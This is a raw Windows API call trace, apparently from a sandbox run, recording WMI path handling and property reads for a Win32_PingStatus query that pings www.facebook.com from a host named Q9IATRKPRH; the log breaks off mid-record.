[0142.260] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572e844*=0x578, lpdwindex=0x572e668 | out: lpdwindex=0x572e668) returned 0x0 [0142.265] CoGetContextToken (in: pToken=0x572e71c | out: pToken=0x572e71c) returned 0x0 [0142.265] CoGetContextToken (in: pToken=0x572e67c | out: pToken=0x572e67c) returned 0x0 [0142.265] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bc18, riid=0x572e74c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x572e748 | out: ppvObject=0x572e748*=0x37bc18) returned 0x0 [0142.266] WbemDefPath:IUnknown:AddRef (This=0x37bc18) returned 0x3 [0142.266] WbemDefPath:IUnknown:Release (This=0x37bc18) returned 0x2 [0142.266] WbemDefPath:IWbemPath:SetText (This=0x37bc18, uMode=0x4, pszPath="") returned 0x0 [0142.266] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x57c [0142.266] SetEvent (hEvent=0x3f4) returned 1 [0142.266] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572e844*=0x57c, lpdwindex=0x572e668 | out: lpdwindex=0x572e668) returned 0x0 [0142.269] CoGetContextToken (in: pToken=0x572e71c | out: pToken=0x572e71c) returned 0x0 [0142.269] CoGetContextToken (in: pToken=0x572e67c | out: pToken=0x572e67c) returned 0x0 [0142.269] WbemDefPath:IUnknown:QueryInterface (in: This=0x37bc88, riid=0x572e74c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x572e748 | out: ppvObject=0x572e748*=0x37bc88) returned 0x0 [0142.269] WbemDefPath:IUnknown:AddRef (This=0x37bc88) returned 0x3 [0142.269] WbemDefPath:IUnknown:Release (This=0x37bc88) returned 0x2 [0142.269] WbemDefPath:IWbemPath:SetText (This=0x37bc88, uMode=0x4, pszPath="") returned 0x0 [0142.269] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37bc88, puCount=0x572e8e8 | out: puCount=0x572e8e8*=0x0) returned 0x0 [0142.269] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37bc18, puCount=0x572e8e8 | out: puCount=0x572e8e8*=0x0) returned 0x0 [0142.269] WbemDefPath:IWbemPath:GetClassName (in: This=0x37bc88, puBuffLength=0x572e940*=0x0, pszName=0x0 | out: puBuffLength=0x572e940*=0x0, pszName=0x0) returned 0x8004103a [0142.269] WbemDefPath:IWbemPath:GetServer (in: This=0x37bc88, puNameBufLength=0x572e93c*=0x0, pName=0x0 | out: puNameBufLength=0x572e93c*=0x0, pName=0x0) returned 0x80041009 [0142.269] WbemDefPath:IWbemPath:SetServer (This=0x37bc88, Name="Q9IATRKPRH") returned 0x0 [0142.270] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x580 [0142.270] SetEvent (hEvent=0x3f4) returned 1 [0142.270] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572e844*=0x580, lpdwindex=0x572e668 | out: lpdwindex=0x572e668) returned 0x0 [0142.274] CoGetContextToken (in: pToken=0x572e71c | out: pToken=0x572e71c) returned 0x0 [0142.274] CoGetContextToken (in: pToken=0x572e67c | out: pToken=0x572e67c) returned 0x0 [0142.274] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c91c50, riid=0x572e74c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x572e748 | out: ppvObject=0x572e748*=0x5c91c50) returned 0x0 [0142.274] WbemDefPath:IUnknown:AddRef (This=0x5c91c50) returned 0x3 [0142.274] WbemDefPath:IUnknown:Release (This=0x5c91c50) returned 0x2 [0142.274] WbemDefPath:IWbemPath:SetText (This=0x5c91c50, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0142.274] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37bc88, puCount=0x572e8e8 | out: puCount=0x572e8e8*=0x0) returned 0x0 [0142.274] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5c91c50, puCount=0x572e8e8 | out: puCount=0x572e8e8*=0x2) returned 0x0 [0142.274] WbemDefPath:IWbemPath:GetText (in: This=0x5c91c50, lFlags=16, puBuffLength=0x572e8e4*=0x0, pszText=0x0 | out: puBuffLength=0x572e8e4*=0xb, pszText=0x0) returned 0x0 [0142.274] WbemDefPath:IWbemPath:GetText (in: This=0x5c91c50, lFlags=16, puBuffLength=0x572e8e4*=0xb, pszText="0000000000" | out: puBuffLength=0x572e8e4*=0xb, pszText="root\\cimv2") returned 0x0 [0142.274] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x37bc88) returned 0x0 [0142.274] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5c91c50, puCount=0x572e920 | out: puCount=0x572e920*=0x2) returned 0x0 [0142.274] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5c91c50, uIndex=0x0, puNameBufLength=0x572e91c*=0x0, pName=0x0 | out: puNameBufLength=0x572e91c*=0x5, pName=0x0) returned 0x0 [0142.274] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5c91c50, uIndex=0x0, puNameBufLength=0x572e91c*=0x5, pName="0000" | out: puNameBufLength=0x572e91c*=0x5, pName="root") returned 0x0 [0142.274] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x37bc88, uIndex=0x0, pszName="root") returned 0x0 [0142.275] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5c91c50, uIndex=0x1, puNameBufLength=0x572e91c*=0x0, pName=0x0 | out: puNameBufLength=0x572e91c*=0x6, pName=0x0) returned 0x0 [0142.275] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5c91c50, uIndex=0x1, puNameBufLength=0x572e91c*=0x6, pName="00000" | out: puNameBufLength=0x572e91c*=0x6, pName="cimv2") returned 0x0 [0142.275] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x37bc88, uIndex=0x1, pszName="cimv2") returned 0x0 [0142.275] WbemDefPath:IWbemPath:GetClassName (in: This=0x37bc88, puBuffLength=0x572e940*=0x0, pszName=0x0 | out: puBuffLength=0x572e940*=0x0, pszName=0x0) returned 0x8004103a [0142.275] WbemDefPath:IWbemPath:SetClassName (This=0x37bc88, Name="Win32_PingStatus") returned 0x0 [0142.275] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37bc88, puCount=0x572e984 | out: puCount=0x572e984*=0x2) returned 0x0 [0142.275] WbemDefPath:IWbemPath:GetText (in: This=0x37bc88, lFlags=4, puBuffLength=0x572e980*=0x0, pszText=0x0 | out: puBuffLength=0x572e980*=0x29, pszText=0x0) returned 0x0 [0142.275] WbemDefPath:IWbemPath:GetText (in: This=0x37bc88, lFlags=4, puBuffLength=0x572e980*=0x29, pszText="0000000000000000000000000000000000000000" | out: puBuffLength=0x572e980*=0x29, pszText="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus") returned 0x0 [0142.279] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0142.279] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0142.279] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.279] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0142.279] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0142.279] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.279] IWbemClassObject:GetNames (in: This=0x5c8ed30, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e908*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e8fc | out: pNames=0x572e8fc*="\x01ƀ\x04") returned 0x0 [0142.279] SafeArrayGetDim (psa=0x5c78e48) returned 0x1 [0142.279] SafeArrayGetDim (psa=0x5c78e48) returned 0x1 [0142.279] SafeArrayGetLBound (in: psa=0x5c78e48, nDim=0x1, plLbound=0x572e794 | out: plLbound=0x572e794) returned 0x0 [0142.279] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.279] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.279] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.279] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.279] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.279] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.279] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.280] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.280] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.280] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.280] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.280] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.280] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.280] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.280] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.280] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.280] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.280] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.280] SysStringByteLen (bstr="__PATH") returned 0xc [0142.280] SysStringByteLen (bstr="__PATH") returned 0xc [0142.280] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__GENUS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f8de4*=0, plFlavor=0x22f8de8*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22f8de4*=3, plFlavor=0x22f8de8*=64) returned 0x0 [0142.280] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f8e18*=0, plFlavor=0x22f8e1c*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22f8e18*=8, plFlavor=0x22f8e1c*=64) returned 0x0 [0142.280] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.280] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.280] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f8e70*=0, plFlavor=0x22f8e74*=0 | out: pVal=0x572e8f8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f8e70*=8, plFlavor=0x22f8e74*=64) returned 0x0 [0142.281] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DYNASTY", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f8e98*=0, plFlavor=0x22f8e9c*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22f8e98*=8, plFlavor=0x22f8e9c*=64) returned 0x0 [0142.281] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.281] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.281] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__RELPATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f8ef0*=0, plFlavor=0x22f8ef4*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22f8ef0*=8, plFlavor=0x22f8ef4*=64) returned 0x0 [0142.281] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.281] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.281] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f90d0*=0, plFlavor=0x22f90d4*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22f90d0*=3, plFlavor=0x22f90d4*=64) returned 0x0 [0142.281] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DERIVATION", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f9104*=0, plFlavor=0x22f9108*=0 | out: pVal=0x572e8f8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78e78*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22f9104*=8200, plFlavor=0x22f9108*=64) returned 0x0 [0142.281] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SERVER", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f9138*=0, plFlavor=0x22f913c*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22f9138*=8, plFlavor=0x22f913c*=64) returned 0x0 [0142.281] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.282] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.282] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0142.282] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0142.282] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.282] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0142.282] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0142.282] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.282] IWbemClassObject:GetNames (in: This=0x5c8ed30, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e93c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e930 | out: pNames=0x572e930*="\x01ƀ\x04") returned 0x0 [0142.282] SafeArrayGetDim (psa=0x5c78ea8) returned 0x1 [0142.282] SafeArrayGetDim (psa=0x5c78ea8) returned 0x1 [0142.282] SafeArrayGetLBound (in: psa=0x5c78ea8, nDim=0x1, plLbound=0x572e7c8 | out: plLbound=0x572e7c8) returned 0x0 [0142.282] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.282] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.282] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.282] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.282] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.282] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.282] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.282] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.282] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.282] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.283] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.283] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.283] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.283] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.283] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.283] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.283] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.283] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.283] SysStringByteLen (bstr="__PATH") returned 0xc [0142.283] SysStringByteLen (bstr="__PATH") returned 0xc [0142.283] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__GENUS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f9518*=0, plFlavor=0x22f951c*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22f9518*=3, plFlavor=0x22f951c*=64) returned 0x0 [0142.283] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f954c*=0, plFlavor=0x22f9550*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22f954c*=8, plFlavor=0x22f9550*=64) returned 0x0 [0142.283] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.283] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.283] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f95a4*=0, plFlavor=0x22f95a8*=0 | out: pVal=0x572e92c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f95a4*=8, plFlavor=0x22f95a8*=64) returned 0x0 [0142.284] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DYNASTY", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f95cc*=0, plFlavor=0x22f95d0*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22f95cc*=8, plFlavor=0x22f95d0*=64) returned 0x0 [0142.284] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.284] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.284] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__RELPATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f9624*=0, plFlavor=0x22f9628*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22f9624*=8, plFlavor=0x22f9628*=64) returned 0x0 [0142.284] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.284] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.284] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f9804*=0, plFlavor=0x22f9808*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22f9804*=3, plFlavor=0x22f9808*=64) returned 0x0 [0142.284] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DERIVATION", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f9838*=0, plFlavor=0x22f983c*=0 | out: pVal=0x572e92c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78ed8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22f9838*=8200, plFlavor=0x22f983c*=64) returned 0x0 [0142.284] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SERVER", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f986c*=0, plFlavor=0x22f9870*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22f986c*=8, plFlavor=0x22f9870*=64) returned 0x0 [0142.284] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.284] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.285] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SERVER", lFlags=0, pVal=0x572ea20*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f986c*=8, plFlavor=0x22f9870*=64 | out: pVal=0x572ea20*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22f986c*=8, plFlavor=0x22f9870*=64) returned 0x0 [0142.285] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.285] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.285] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0142.285] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0142.285] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.285] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0142.285] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0142.285] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.285] IWbemClassObject:GetNames (in: This=0x5c8ed30, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e908*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e8fc | out: pNames=0x572e8fc*="\x01ƀ\x04") returned 0x0 [0142.285] SafeArrayGetDim (psa=0x5c78e78) returned 0x1 [0142.285] SafeArrayGetDim (psa=0x5c78e78) returned 0x1 [0142.285] SafeArrayGetLBound (in: psa=0x5c78e78, nDim=0x1, plLbound=0x572e794 | out: plLbound=0x572e794) returned 0x0 [0142.285] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.285] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.286] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.286] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.286] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.286] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.286] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.286] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.286] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.286] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.286] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.286] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.286] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.286] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.286] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.286] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.286] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.286] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.286] SysStringByteLen (bstr="__PATH") returned 0xc [0142.286] SysStringByteLen (bstr="__PATH") returned 0xc [0142.286] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__GENUS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f9d8c*=0, plFlavor=0x22f9d90*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22f9d8c*=3, plFlavor=0x22f9d90*=64) returned 0x0 [0142.287] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22f9dc0*=0, plFlavor=0x22f9dc4*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22f9dc0*=8, 